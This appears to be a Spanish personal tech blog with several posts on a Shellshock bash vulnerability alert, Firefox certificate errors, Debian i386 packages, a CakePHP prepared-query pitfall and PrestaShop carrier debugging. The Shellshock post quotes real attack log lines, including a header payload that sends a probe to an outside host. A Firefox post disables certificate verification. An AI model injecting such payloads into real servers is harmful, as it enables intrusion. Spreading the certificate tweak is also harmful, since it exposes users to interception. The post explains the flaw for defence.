fallo de seguridad crítico: Shell Shock

Otro fallo gordo de seguridad que compromete la seguridad de miles de máquinas ha sido publicado hace un par de días.
En este caso se trata de un fallo de seguridad en la shell bash que permite inyectar código y ejecutarlo en una variable de entorno.

Para saber si nuestro servidor está comprometido :

[shell]
env x='() { :;}; echo vulnerable’ bash -c ‘echo hello’
[/shell]

Si tu máquina es vulnerable aparecerá en consola
[shell]
vulnerable
hello
[/shell]

Aunque parezca que sólo puede afectar y ser un vector de ataque para usuarios locales, hay que recordar que hay multitud de scripts que chequean y validan por ejemplo logs que almacenan peticiones web, así que como en este ejemplo, podemos inyectar la ejecución de código malicioso sin tener acceso local a la máquina y esperando a los scripts procesen los logs y ejecuten el código inyectado.

[shell]
166.78.61.142 – – [25/Sep/2014:06:28:47 -0400] “GET / HTTP/1.1″ 200 193 “-” “() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444″
24.251.197.244 – – [25/Sep/2014:07:49:36 -0400] “GET / HTTP/1.1″ 200 193 “-” “() { :; }; echo -e x22Content-Type: text/plainx5Cnx22; echo qQQQQQq”
[/shell]

Este es un ejemplo extraído de http://blog.sucuri.net/2014/09/bash-vulnerability-shell-shock-thousands-of-cpanel-sites-are-high-risk.html

Más información acerca del fallo de seguridad:
https://access.redhat.com/security/cve/CVE-2014-6271

firefox: sec_error_ca_cert_invalid

En la última versión de Firefox se han lanzado a la piscina activando una medida de seguridad que impide acceder a los sitios cuyo certificado se seguridad SSL no sea válido.

Hasta el momento teníamos un paso previo de confirmación de la alerta, en el que había que seguir unos sencillos pasos para obviar este aviso, siempre bajo nuestra responisbilidad. Pues en esta ocasión, una medida más drásctica, seguramente por la cantidad de dispositivos móviles y la insconciencia de los usuarios, se ha optado por el paternalismo y prevención , evitando que se pueda ignorar este mensaje de aviso.

Para volver al modo normal, al modo en que los no mass-users necesitamos usar hay que habilitarlo en la configuración:

[shell]

about:config

security.use_mozillapkix_verification = false

[/shell]

[pluma] error loading plugin ImportError: could not import gtksourceview

Al ejecutar pluma aparece este error en consola al cargar plugins

[shell]

$pluma
ImportError: could not import gtksourceview

** (pluma:15511): WARNING **: Error initializing Python interpreter: could not import pygtksourceview.

** (pluma:15511): WARNING **: Please check the installation of all the Python related packages required by pluma and try again.

** (pluma:15511): WARNING **: Cannot load python plugin Python ‘External Tools’ since pluma wasnot able to initialize the Python interpreter.

** (pluma:15511): WARNING **: Error loading plugin ‘External Tools’

[/shell]

 

Para solucionarlo hay que instalar un paquete de python que falta en el sistema:

[shell]

sudo apt-get install python-gtksourceview2

[/shell]

agregar soporte i386 a Debian x86_64

En el anterior artículo, comentaba como solucionar un problema con firefox cuando no encuentra librerías para i386.

Si queremos agregar soporte i386 a nuestra máquina para instalar las dos versiones paquetes, la i386 y la x86_64 lo hacemos así en Debian

[shell]
sudo dpkg –add-architecture i386
sudo apt-get update
sudo apt-get install libxrender1:i386
[/shell]

y si quisiéramos eliminar todas las librerías instaladas y quitar el soporte para i386 con este copia y pega que tanto me gusta:
[shell]
dpkg -l | awk ‘$4~i386{ print $2}’ | xargs apt-get –yes remove –purge
sudo dpkg –remove-architecture i386

[/shell]

firefox: libstdc++.so.6: cannot open shared object file

Al migrar de equipo de trabajo he tenido este contratiempo. Lo bueno de cambiar de máquina y que dé probelmas es que te fuerza a refrescar lo que ya sabías y a hacer cosas nuevas.

En mi caso uso firefox en paquetede descargado en vez del paquete de Debian, por que como ya todos conocemos, en Debian vamos bien, pero vamos lento, y como trabajo desarrollando aplicaciones para navegadores, necesito tener mis herramientas actualizadas y funcionando con las últimas versiones. Al mover todo mi /home/ me llevo conmigo mi navegador firefox con sus plugins, etc… y al arracnar en mi nueva máquina me encuentro ( entre otros problemas ) con este  al ejecutar firefox:

[shell]

libstdc++.so.6: cannot open shared object file

[/shell]

Para verificar que la librería está en el sistema busco en la caché del ld

[shell]

$ ldconfig -p | grep libstdc
libstdc++.so.6 (libc6,x86-64) => /usr/lib/x86_64-linux-gnu/libstdc++.so.6
[/shell]

Como la librería sí que está pero es x86_64 y no i386 debe ser que el firefox que tengo en la máquina es para i386.

Tengo dos soluciones, o me bajo la versión de 64 bits o me instalo la libstdc para i386.

Al final me bajé la versión x86_64 pero por si alguien quiere instalarse la librería de 32bits aquí tiene el paquete que ha de instalar:

[shell]

apt-get install lib32stdc++6

[/shell]

mal uso de parámetros en un array con consultas preparadas con cakephp y mysql

Vaya chorro de título….. qué es esto ?

Pues explicado muy muy rápido si quiero preparar una consulta bonita para lanzar a la base de datos ( mysql ) y que tenga parámetros en vez de hacer chapuzas y guarrerías varias que se ven en muchos sitios , uniendo strings y demás…. se pueden usar parámetros.

Es muy sencillo, queda de esta forma :

[sql]

SELECT Customer.name FROM customers Customer WHERE Customer.id = :customer_id

[/sql]

Si veis ‘:customer_id’ no pertenece al standard de SQL , es un parámetro . De forma que le puedo pasar a la consulta una variable como cuando usamo printf y Mysql construirá la query completa, además de hacer cosas con los índices y demás … que no vamos a tratar ahora.

Pues bien. tengo aquí un caso real de una cosa que me ha pasado hoy, quería pasar por parámetros un array de parámetros de forma que quería buscar ‘customer.id IN ( :listaIDs ) ‘. Os adelanto ya que no se puede pasar un parámetro que sea un string de integers separados por coma.

[php]

public function getCustomersById( $objectIds = array() ) {
$sql = ‘
SELECT
Customer.*
FROM
customers Customer
WHERE
Customer.id IN ( :objectIds ) ‘;

$db = $this->getDataSource();

$objectIds= join( ‘,’, $object_id );
$params = array (
‘objectIds’ => $objectIds
);

return  $db->fetchAll($sql, $params  )

}

[/php]

Pues esta consulta sólo retorna los resultados que coincidan con el último valor del array. Si veis hago un join() para unir los valores y pasarlos como parámetro. Pues Mysql se lo come y sólo utiliza el último, tampoco da error. Qué alegrías que nos da la programación 😀

 

Error: No hay transportistas disponibles que envien a algunas de sus direcciones

El día a día de un desarrollador puede ser increiblemente aburrido o no. Hoy me ha sucedido que probando la tienda de un cliente, no podía hacer un pedido, al finalizar el pedido, obtenía siempre el error “Error: No hay transportistas disponibles que envien a algunas de sus direcciones”.
Revisé todas las configuraciones de transportistas, pesos, zonas, etc… y estaba todo correcto, así que me he decidido por bajar a las profundidades y localizar qué estaba sucediendo, es decir, a trazar código ( como casi todos los días 😀 ).

Lo voy a resumir muchísimo, y si alguien tiene dudas… que pregunte.

1.- Por donde comenzar. El error aparece al realizar el pedido, en mi caso, un pedido rápido. Si abro firebug y clickeo en los términos y condiciones, veo que se lanza una petición ajax al servidor que devuelve toda la información con la que rellena los medios de pago, los transportistas, etc… que la petición se lanza es “pedido-rapido”.

[php]
http://localhost/prestashop/es/pedido-rapido
{“HOOK_TOP_PAYMENT”:” “,”HOOK_PAYMENT”:”

Error: No hay transportistas disponibles que envien a algunas de sus direcciones<\/p>”}
[/php]

2.- Para localizar que controller gestiona esta url nos vamos al backend en “Preferencias > SEO + URL’s” y buscamos ‘pedido-rapido’ en la columna de ‘url-amigable’ y vemos que en página aparece ‘order-opc’. Ese el nombre del controller que gestionará las peticiones para ‘pedido-rapido’

3.- Siguiendo nuestros conocimientos vemos en OrderOpcControllerCore::init() que hay una serie de casos, si la llamada es ajax , nos centramos en el TOS y lo que nos intresa es que lo nos devuelve la funcion “$this->_getPaymentMethods()”

[php]
case ‘updateTOSStatusAndGetPayments’:
if (Tools::isSubmit(‘checked’))
{
$this->context->cookie->checkedTOS = (int)(Tools::getValue(‘checked’));
die(Tools::jsonEncode(array(
‘HOOK_TOP_PAYMENT’ => Hook::exec(‘displayPaymentTop’),
‘HOOK_PAYMENT’ => $this->_getPaymentMethods()
)));
}
break;
[/php]

4.- En _getPaymentMethods() el bloque que nos interesa es este y concretamente “$this->context->cart->getDeliveryOptionList()”

[php]
if (count($this->context->cart->getDeliveryOptionList()) == 0 && !$this->context->cart->isVirtualCart())
{
if ($this->context->cart->isMultiAddressDelivery())
return ‘

’.Tools::displayError(‘Error: None of your chosen carriers deliver to some of  the addresses you\’ve selected.’).'

’;
else
return ‘

’.Tools::displayError(‘Error: None of your chosen carriers deliver to the address you\’ve selected.’).'

’;
}
[/php]

5.- Nos vamos a la case Cart para tracear Cart::getDeliveryOptionList() y después de echarle unas trazas vemos que realmente la chicha de todo el proceso de gestión de los envíos lo tenemos en esta linea
[php]
$package_list = $this->getPackageList();
[/php]

6.- La funcion Cart::getPackageList() devolverá informacion sobre los envíos y transportistas con lo que puedes anotarla en tus marcadores de código, para ir directamente y trazar por aquí cuando no sepas muy bien por dónde comenzar.

No obstante en mi caso, resultó que la parte que necesitaba verificar era esta última linea, que carga los transportistas para los productos, almacenes, etc.. etc…

[php]
$product[‘carrier_list’] = array_merge($product[‘carrier_list’], Carrier::getAvailableCarrierList(new Product($product[‘id_product’]), $id_war, $product[‘id_address_delivery’], null, $this));
[/php]

Todo este trabajo, concluye en que mis cookies estaban dando problemas y tuve que borrarlas para que me funcionar, eso pasa por mezclar muchas instalaciones !!!!

Cosas interesantes para arrancar en septiembre

Haciendo limpieza de correo… he seleccionado este contenido bastante intersante

# google almacena tu ubicacion
https://maps.google.es/locationhistory/b/0/?hl=es

# scrum

# sobre desarrollo
http://www.programania.net/diseno-de-software/speed-in-software-development/

# pasarelas de pago
https://www.braintreepayments.com/
https://stripe.com/es

# cronica de una muerte
http://rafavargas.com/

# spotify
http://dl.dropboxusercontent.com/u/1018963/Articles/HowSpotifyBuildsProducts.pdf